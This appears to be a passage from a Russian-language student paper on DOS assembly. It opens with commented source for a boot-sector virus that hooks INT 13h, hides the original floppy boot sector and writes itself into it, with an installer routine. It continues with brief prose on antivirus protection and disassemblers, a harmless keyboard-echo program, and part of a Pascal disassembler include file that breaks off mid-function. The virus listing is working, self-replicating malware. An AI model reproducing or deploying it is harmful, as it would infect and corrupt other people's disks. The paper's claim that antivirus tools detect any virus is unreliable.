; немного арифметики - сегмент считают
; от начала памяти в параграфах, пара-
; граф=10h байт, 40h параграфов=400h
; байт=1кБт. дальше все ясно.
mov es,ax ; ES=адрес нового сегмента
push ax ; в стек его - будем делать переход
mov ax,offset inst_int ; на это вот смещение
push ax ; и его в стек тоже
mov cx,200h ; но сперва надо перенести свое тело
cld ; в этот вот сегмент
rep movsb ; переносим
retf ; переход через стек
inst_int: ; здесь мы уже в новом сегменте
mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original
mov ds:[0e0h*4],ax ;
mov ax,ds:[13h*4+2] ;
mov ds:[0e0h*4+2],ax ;
mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик
mov ds:[13h*4+2],cs ;
xor cx,cx
push cx ; снова подготовка к переходу
push bx ; через стек в точку 0000:7C00h
mov es,cx
mov ax,0201h ; читать нормальный бут-сектор
mov cx,cs:floppy_sect ; вот отсюда его и читать
mov dh,cs:floppy_head ;
xor dl,dl ; с диска А: естественно
int 0e0h ; вызов оригинального INT 13h
run_boot:
retf ; запустить бут.
;------ *** Hаш обработчик INT 13h *** -------
int13: mov cs:shit,ax ; сохраним ax
int 0e0h ; выполним операцию
jnc int_continue ; если была ошибка уходим
jmp int_exit
int_continue:
pushf ; флаги запомнить надо!
cmp byte ptr cs:[shit+1],2 ; reading sectors?
jnz g1
cmp cx,0001
jne g1
cmp dh,0 ; читаем бут
jne g1
cmp dl,01 ; не с винта надеюсь?
jna fkс_boot
g1: jmp get_out
;------------- Обработчик чтения бута с дискеты ---------------
fkс_boot:
pusha
push ds es
push es
pop ds
lea di,fkс ; сравним то что у нас по смещению fkс
mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению
mov si,bx ; Так мы проверяем заражен ли
add si,offset fkс ; уже нами бут-сектор
cmp ax,[si] ;
jz exit_boot_work ; если нет то уйдем отсюда
cmp dl,1 ; на всякий пожарный :) В принципе можете
ja exit_boot_work ; эту проверку выкинуть - она уже была
find_place: ; поиск места куда прятать старый бут-сектор
mov ax,[bx+16h] ; ax=число секторов в FAT
mul byte ptr [bx+10h] ; умножим его на число FAT
add ax,[bx+0eh] ; прибавим число резервных секторов для FAT--
push dx ; запомним dx - там номер диска и сторона |
mov cl,4 ; |
mov dx,[bx+11h] ; dx=число элементов корневого каталога |
; 1 элемент занимает 32 байта |
shr dx,cl ; поделим его на 16 - получим число сектров |
; корня, вроде бы так... |
add ax,dx ; прибавим к AX------------------------------
dec ax ; уменьшим на 1
; в AX порядковый номер последнего сектора
; ROOT'a... ???
mov cx,[bx+18h] ; cx=число секторов на дорожке
push cx ; запомним его
shl cx,1 ; умножим на 2
xor dx,dx ; dx=0
div cx ; поделим DX:AX на CX
pop cx ; вытащим CX из стека - там число секторов на
; дорожке было
push ax ; запомним частное от предыдущего деления
mov ax,dx ; в AX занесем остаток от деления
xor dx,dx ; DX=0
div cx ; поделим еще раз
mov dh,al ; DH=номер головки
mov cl,dl ; CL=номер сектора
pop ax ; выкинем AX
mov ch,al ; CH=номер дорожки
inc cl ; прибавим к нему 1
pop ax ; AX=бывшее DX - там была сторона и номер
; дисковода
mov dl,al ; номер в DL
mov cs:floppy_sect,cx ; то что получилось запомним
mov cs:floppy_head,dh
;---------all found dh,cx rules---------
mov ax,0301h ; записать старый бут куда надо
int 0e0h
jc exit_boot_work ; если была ошибка - прекратить работу
; чтобы не убить диск совсем
; можно этого и не делать, едва ли что
; случится - вероятность того что вычисленный
; нами сектор BAD очень низка, но...
push cs
pop es
lea di,table ; скопируем из бута в свое тело таблицу
mov si,bx ; параметров диска
add si,offset table ;
mov cx,4ch-3 ;
rep movsb ;
push cs
pop es
mov ax,0301h ; запишемся в бут-сектор
xor bx,bx
mov cx,0001
xor dh,dh
int 0e0h
exit_boot_work:
pop es ds ; восстановим все что убили
popa
get_out:
popf ; и флаги обязательно
int_exit:
retf 2 ; выход из прерывания
;-------------data block--------------
floppy_sect dw 2f08h
floppy_head db 01
shit dw 0
org 510
sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...
; это просто метка системного сектора
; ----- Инсталлятор вируса в бут дискеты -----
install:
mov cs:[0000],4aebh
mov byte ptr cs:[0002],090h ; нужная команда
push ds
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov ds:[0e0h*4],ax
mov ax,ds:[13h*4+2]
mov ds:[0e0h*4+2],ax
mov word ptr ds:[13h*4],offset int13
mov ds:[13h*4+2],cs
pop ds
push cs
pop es
mov ax,0201h
mov cx,0001
mov dx,0000
mov bx,offset our_buffer
int 13h
xor ax,ax
mov ds,ax
mov ax,ds:[0e0h*4]
mov ds:[13h*4],ax
mov ax,ds:[0e0h*4+2]
mov ds:[13h*4+2],ax
mov ax,4c00h
int 21h
our_buffer:
end start
Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.
Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. На 100% защититься от вирусов практически невозможно (как если бы, пользователь меняется дискетами с друзьями, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не родится.
Наиболее широкое распространение по борьбе с вирусами получили такие программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы - как самые старые, так и только что появившиеся. Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Стараться никогда не давать работать посторонним на вашем компьютере - именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.
4. Дисассемблер
Когда готовый программный продукт, можно будет редактировать, переделывать по своему желанию, увидеть исходное написанной программы – это называется дисассемблированием.
Существуют множество готовых программ-дисассемблеров, такие как: Hex-редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают например директивы (Директивы этой группы предназначены для управления видом файла листинга. Все директивы являются парными — это означает, что если одна директива что-то разрешает, то другая, наоборот, запрещает), а так же все они не способны полностью восстановить исходное программы. Чтобы вносить изменения в программу нужны достаточно хорошие знания ассемблера.
6. Программы
1) Программы выполненная на ассемблере. Запустив программу можно вводит до 256 символов и одновременно выводить на экран(аналогичность команды DOS-“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана, цветовую палитру, прокрутку экрана, размер курсора.
page 60,132 ;Вывод символа и его скэн кода
model small
title Пробная программа
sseg segment para private 'stack'
dw 32 dup('??')
sseg ends
dseg segment para private 'data'
maska db 30h
KSIM DB 3
ROW DB 0
COL DB 0
SIM DB ' '
SCAN DB ' '
CHISLO DB ' '
STRSIM DB 100 DUP(' ')
dseg ends
cseg segment para private 'code'
assume ss:sseg,ds:dseg,cs:cseg,es:nothing
sum proc far ;Начало программы
push ds
sub ax,ax
push ax
mov ax,dseg
mov ds,ax
MOV AH,00H ;Установка 64-цветного режима
INT 10H
MOV AX,0600H ;Полная прокрутка экрана
MOV BH,07
MOV CX,0000
MOV DX,184FH
INT 10H
MOV AH,01 ; Установка размера курсора
MOV CH,06
MOV CL,07
INT 10H
MOV KSIM,0
MOV ROW,00 ; Задание начальных значении
MOV COL,00
MOV SI,0
MOV KSIM,10
M:
MOV AH,02; Установка курсора
MOV BH,00
MOV DH,ROW
MOV DL,COL
INT 10H
MOV AH,00 ;Ввод символа с клавиатуры
INT 16H
MOV STRSIM[SI],AL
SUB AH,28 ; KLAVISHA ENTER (exit)
JZ M1 ;Переход если ноль
MOV AH,09H ; Вывод очередного символа в позицию курсора
MOV AL,STRSIM[SI]
MOV BH,00
MOV BL,212
MOV CX,1
INT 10H
ADD COL,1
ADD SI,1
INC KSIM
JMP M ;Безусловный переход
M1:
ret ; Возврат из подпрограммы(RET-optional pop-value)
sum endp
cseg ends
end sum
2) Исходник программы дисассемблер выполненный на паскале:
---------- include file IO.INC ---- CUT HERE FOR IO.INC -------------
procedure WriteHex(B: byte);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: integer;
begin
for i:= 1 downto 0 do
write(Hex[((B shr (i shl 2)) and $000F)])
end;
procedure WritelnHex(B: byte);
begin
WriteHex(B);
writeln
end;
procedure WriteHexInt(N: integer);
begin
WriteHex(N shr 8);
WriteHex(N and $00FF)
end;
procedure WritelnHexInt(N: integer);
begin
WriteHex(N shr 8);
WritelnHex(N and $00FF)
end;
procedure WriteAddress(N, M: integer);
begin
WriteHexInt(N);
Write(':');
WriteHexInt(M)
end;
procedure HexString(var Str; N: INTEGER);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: byte;
begin
for i:= 0 to Mem[Seg(Str):Ofs(Str)] - 1 do
Mem[Seg(Str):(Ofs(Str)+Mem[Seg(Str):Ofs(Str)]-i)] :=
Ord(Hex[((N shr (i shl 2)) and $000F)])
end;
procedure WriteDouble(High, Low: INTEGER);
type
LongInt = ARRAY [0..3] OF BYTE;
const
Divisors : ARRAY [0..9] OF LongInt = ( ( 0, 0, 0, 1),
( 0, 0, 0, $A),
( 0, 0, 0, $64),
( 0, 0, 3, $E8),
( 0, 0, $27, $10),
( 0, 1, $86, $A0),
( 0, $F, $42, $40),
( 0, $98, $96, $80),
( 5, $F5, $E1, 0),
($3B, $9A, $CA, 0) );
var
i, j : INTEGER;
CharOffset,
Digit : BYTE;
Rep : ARRAY [0..9] OF CHAR;
Number : LongInt absolute Low;
OldNumber : LongInt;
stop : BOOLEAN;
begin
CharOffset := Ord(' ');
OldNumber := Number;
Rep := ' ';
for i:=9 downto 0 do begin
Digit := 0;
Number := OldNumber;
stop := false;
repeat
(* subtract Divisor from TestNumber *)
for j:=0 to 3 do begin
Number[j] := Number[j] - Divisors[i][3-j];
if (Number[j] > OldNumber[j]) AND (j<>3) then
Number[j+1] := number[j+1] - 1;
end;
if (Number[3] <= OldNumber[3]) then begin
Digit := succ(Digit);
CharOffset := Ord('0');
OldNumber := Number
end
else stop := true;
until stop;
Rep[9-i] := Chr(CharOffset+Digit);
end;
Write(Rep)
end;
procedure ComOut(var par);
const
WriteCommand = 1;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
B : BYTE absolute par;
begin
with Regs do begin
AX := (WriteCommand shl 8) + B;
DX := 0;
Intr($14, Regs);
end
end;
procedure BlockRead (var f: file; var buffer; var n: integer);
const
readfunction = $3F;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
begin
with Regs do begin
AX := (readfunction shl 8);
BX := MemW[Seg(f):Ofs(f)];
CX := n;
DX := Ofs(buffer);
DS := Seg(buffer);
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during BlockRead');
end
else
n := AX
end;
end;
function FileSize (var f: file): INTEGER;
const
seekfunction = $42;
from_begin = 0;
from_current = 1;
from_end = 2;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
CurrentFilePointer_low,
CurrentFilePointer_high : INTEGER;
begin
with Regs do begin
AX := (seekfunction shl 8) + from_current;